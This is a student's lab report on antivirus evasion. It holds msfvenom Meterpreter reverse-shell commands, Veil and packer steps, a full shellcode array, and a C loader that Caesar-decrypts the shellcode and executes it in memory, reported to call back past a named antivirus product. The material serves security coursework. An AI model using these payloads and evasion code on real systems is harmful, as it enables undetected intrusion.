20222416 2024-2025-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1实践内容
(1)正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器，使用msfvenom生成如jar之类的其他文件
- veil，加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的，简单语言描述原理，不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本
1.2问题回答
（1）杀软是如何检测出恶意代码的？
a.特征码查杀：这是最基础的检测方法，杀毒软件公司从各种途径获取病毒样本，提取病毒文件的特征码，建立庞大的病毒特征库。当电脑出现新文件时，杀毒软件会遍历特征库，判断文件是否匹配特征库中的特征码；若匹配则报毒并查杀。这种方法简单、快捷，但易受加壳技术影响，导致检测失效。
b.启发式扫描技术：基于病毒检测经验和知识，通过分析程序代码指令序列，判断程序是否为恶意代码。这种方法可以发现未知病毒，但误报率较高。
c.行为查杀：通过分析程序运行时的行为，如自删除、加入启动项、释放文件到特定目录等，来判断程序是否为恶意程序。
（2）免杀是做什么？
免杀一般是对恶意软件做处理，指通过各种手段使病毒、木马等恶意软件避免被杀毒软件检测和查杀的技术。
（3）免杀的基本方法有哪些
a.修改特征码：通过定位并修改病毒或木马文件中的特征码，使其无法被杀毒软件识别。这种方法需要对病毒的代码结构有深入了解，且由于不同杀毒软件的特征库不同，可能需要对不同的杀软进行单独的修改。
b.花指令免杀：花指令是一段对程序执行结果没有影响的指令，其目的是增加反汇编的难度，从而阻止杀毒软件通过特征码检测病毒。这种方法通过添加无关紧要的指令来扰乱杀毒软件的检测机制。
c.加壳免杀：通过给恶意软件加壳，即对恶意代码进行加密或压缩，改变其原始特征码，使得杀毒软件无法识别。加壳后，程序在运行时会先执行壳，壳再将加密的程序还原到内存中执行。
d.二次编译：利用Metasploit等工具生成的payload进行二次编码或编译，以改变其特征码，从而实现免杀。
e.白名单免杀：利用系统白名单程序（如rundll32、mshta等）来加载恶意代码，因为这些程序通常是被信任的，不会触发杀毒软件的报警。
2.实验过程
2.1 正确使用msf编码器，使用msfvenom生成如jar之类的其他文件
查杀上次实验生成的后门文件（使用virscan）
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=2416 -f exe > 20222416backdoor.exe
使用编码器进行编码生成文件后再进行查杀
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=2416 -e x86/shikata_ga_nai -b '\x00' -f exe > 20222416backdoor2.exe
可以看到效果不太好，查出问题的引擎还更多了
进行10次编码后再进行查杀
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=2416 -e x86/shikata_ga_nai -b '\x00' -f exe -i 10> 20222416backdoor3.exe
可以看到多次编码后的效果也不是很好
测试使用msfvenom生成jar文件进行查杀
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=2416 -f jar > 20222416_jar.jar
生成php文件进行查杀
可以看到php的效果最好
2.2 安装并使用veil，加壳工具
输入以下命令进行安装veil
apt-get install veil-evasion
veil安装需要一定大小的空间，建议设置虚拟硬盘大小时不小于40G。在apt安装完毕后还要输入veil安装其余的软件（Python，更新wine配置之类）。安装可能会遇到一些问题，例如Python pip pefile / Ruby187 / AutoIT问题,如图
有一些问题veil提示的silent重新安装后也无法解决。问题解决方案在下面的“问题及解决方案”中给出，这里不一一说明。
安装成功的veil
使用veil的免杀工具Evasion是用做文件免杀。
use evasion
选择c/meterpreter/rev_tcp.py
use 7
set LHOST 192.168.206.128 // 使用kali的ip
set LPORT 2416
options // 查看详情
使用generate生成文件，输入文件名，在目录var/lib/veil/output/compiled下可以找到文件
扫描文件，检查免杀效果
可以看到免杀的效果一般
使用加壳工具，对这个文件进行加壳测试免杀效果
先使用压缩壳
upx 20222416_veil1.exe -o 20222416veil_yasuo.exe
扫描文件，检查免杀效果
可以看到效果一般
将文件目录调到/usr/share/windows-resources/hyperion，使用加密壳进行免杀测试
wine hyperion.exe -v 20222416_veil1.exe 20222416veil_jiami.exe
可以看到加密壳的效果不太好，反而检测的数量还增多了
2.3 使用c+shellcode编程
使用msf生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=2416 -f c
新建一个新文件，编辑添加shellcode和c语言代码
touch 20222416.c
vi 20222416.c
输入：wq保存文件，编译.c文件为exe文件
扫描exe文件
效果还可以
2.4 通过组合应用各种技术实现恶意代码免杀
先使用windows安全中心自定义位置，扫描一下所有发送过来的文件
可以看到jar、backdoor3、backdoor2、backdoor、newshellcode、php被识别为威胁，而通过veil免杀和加壳的exe程序没有被检出
尝试使用 压缩壳+c+shellcode 加密壳+压缩壳+c+shellcode组合应用实现免杀
没成功，被windows defender杀疯了
查询资料了解到windows defender沙箱检测动态查杀有点强，感觉shellcode传到内存一解密就杀，火绒360还不会。针对cs,不要使用stager shellcode ，使用stage shellcode上线是要立刻被干掉的，用stageless的shellcode。但我还不会用。
使用金山毒霸
共存成功
但是在回连的操作中被金山毒霸检测到，无法完成回连。
通过和同学的交流，我找到了一个免杀方法，输入命令通过msfvenom生成Shellcode数组
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=2416 -f c
使用任意一个C编辑器，新建20222416_jiami.c（cpp）文件，输入代码，代码功能为将复制内容放入shellcode1[]数组中，通过代码将shellcode1进行凯撒加密，将密文输入到2416jiami.txt文件中。在同文件夹下新建空文件20222416jiami.txt，用以存放密文
代码如下：
#include <stdio.h>
#include<string.h>
//凯撒加密函数，适用于unsigned char数组
void caesarEncrypt(unsigned char *data, size_t length, int shift) {
for (size_t i = 0; i < length; i++) {
// 对每个字节进行位移
data[i]= (data[i] + shift) & 0xFF;
}
}
int main( ) {
unsigned char shellcode1[] ="\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b"
"\x52\x0c\x89\xe5\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01"
"\xd3\x8b\x48\x18\x50\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xce\x80\x68\x02\x00"
"\x09\x70\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
int shift =3; // 加密位移
printf("original: ");
for (size_t i = 0; i < 510; i++) {
printf("\\x%02x",shellcode1[i]);
}
printf("\n");
caesarEncrypt(shellcode1,510,shift);
printf("Encrypted:");
for (size_t i =0;i< 510; i++){
printf("\\x%02x",shellcode1[i]);
}
printf("\n");
FILE *file = fopen("20222416jiami.txt", "w");
if (file != NULL) {
for (size_t i = 0; i < 510; i++) {
fprintf(file, "\\x%02x", shellcode1[i]);
}
fprintf(file, "\n");
fclose(file);
} else {
printf("Error opening file!\n");
}
return 0;
}
编辑并运行该文件
新建20222416_jiemi.c文件，输入代码，代码功能为读取20222416jiami.txt文件中的内容到
shellcode1[]数组中，并进行解密，再运行shellcode
代码如下：
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 凯撒解密函数，适用于unsigned char数组
void caesarDecrypt(unsigned char *data, size_t length, int shift) {
for (size_t i = 0; i < length; i++) {
// 对每个字节进行位移
data[i] = (unsigned char)((data[i] - shift + 256) % 256);
}
}
int main() {
int shift = 3; // 凯撒加密的位移值
unsigned char shellcode1[511]; // 假设文件中的内容不超过510字节
char line[1024]; // 用于读取文件的临时缓冲区
// 打开文件
FILE *file = fopen("20222416jiami.txt", "r");
if (file == NULL) {
perror("Error opening file");
return 1;
}
// 读取文件内容到shellcode1数组中
size_t length = 0;
while (fgets(line, sizeof(line), file)) {
// 将读取的十六进制字符串转换为字节并存储在shellcode1中
for (size_t i = 0; line[i] != '\0' && line[i] != '\n'; i += 1) {
if (sscanf(&line[i], "\\x%02hhx", &shellcode1[length]) == 1) {
length++;
}
}
}
fclose(file);
// 解密shellcode
caesarDecrypt(shellcode1, length, shift);
// 输出解密后的shellcode
/*printf("Decrypted Shellcode:\n");
for (size_t i = 0; i < 510; i++) {
printf("\\x%02x", shellcode1[i]);
}
printf("\n");*/
// 分配内存并设置为可执行
LPVOID exec = VirtualAlloc(0, sizeof shellcode1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将解密后的shellcode复制到分配的内存中
memcpy(exec, shellcode1, sizeof shellcode1);
// 执行shellcode
((void(*)())exec)();
return 0;
}
编译该文件，打开文件所在位置，可以看到如下文件：
手动查杀
成功实现共存
在kali中使用msfconsole指令进入msf控制台，对msf控制台进行配置；
依次输入以下命令：
use exploit/multi/handler 使用监听模块，设置payload
set payload windows/x64/meterpreter/reverse_tcp 使用和生成后门程序时相同的payload
set LHOST 192.168.206.128 和生成后门程序时指定的IP相同
set LPORT 2416
run
双击运行20222416_jiemi.exe，返回到kali，发现获得了Windows主机的连接
回连成功，杀毒软件是联想电脑管家，版本是5.1.80.9023
3.问题及解决方案
-
问题1：veil无法运行，按照veil提示的方法也无法安装下面几个包:Python pip pefile；Ruby 1.87(Ruby187); AutoIT3
-
问题1解决方案：Python的pefile需要到
/usr/share/veil/config目录下修改setup.sh的clone地址，在第587行
Ruby187和AutoIT3需要先去下载官方的安装包（注意Ruby187也就是Ruby1.87需要用RubyInstall安装），在windows下安装完成后，将安装完成的文件压缩传到kali中，然后解压到对应的目录下即可解决问题 -
问题2：使用hyperion.exe时，系统会报“ShellExecuteEx failed: File not found”的错误
-
问题2解决方案：hyperion需要在
/usr/share/windows-resources/hyperion目录下才能使用
4.学习感悟、思考
在这次实验中我通过实践veil、msf、c+shellcode等技术，学习到了多种免杀技巧。Veil是一个强大的免杀框架，能够将脚本或shellcode转换成Windows可执行文件，利用Metasploit框架生成兼容的payload，有效逃避防病毒产品的检测。而msf则提供了一个平台，通过它可以生成各种payload。在实践中，我认识到了加密和加壳等技术的重要性。这些技术能够降低被杀毒软件检测到的概率。当然在最后的免杀实现中，我的免杀文件还是被金山毒霸和windows defender检测到了。通过同学的方法才成功实现回连。
免杀技术的学习和实践让我更加意识到网络安全的重要性。作为网络安全专业的学生，我们需要不断学习新的技术和方法，以应对日益复杂的网络威胁。只有不断研究和实践，才能在这场没有硝烟的战争中保持领先。当然，我们在学习这些技术的同时，也应该将这些技术用于保护，而不是破坏。
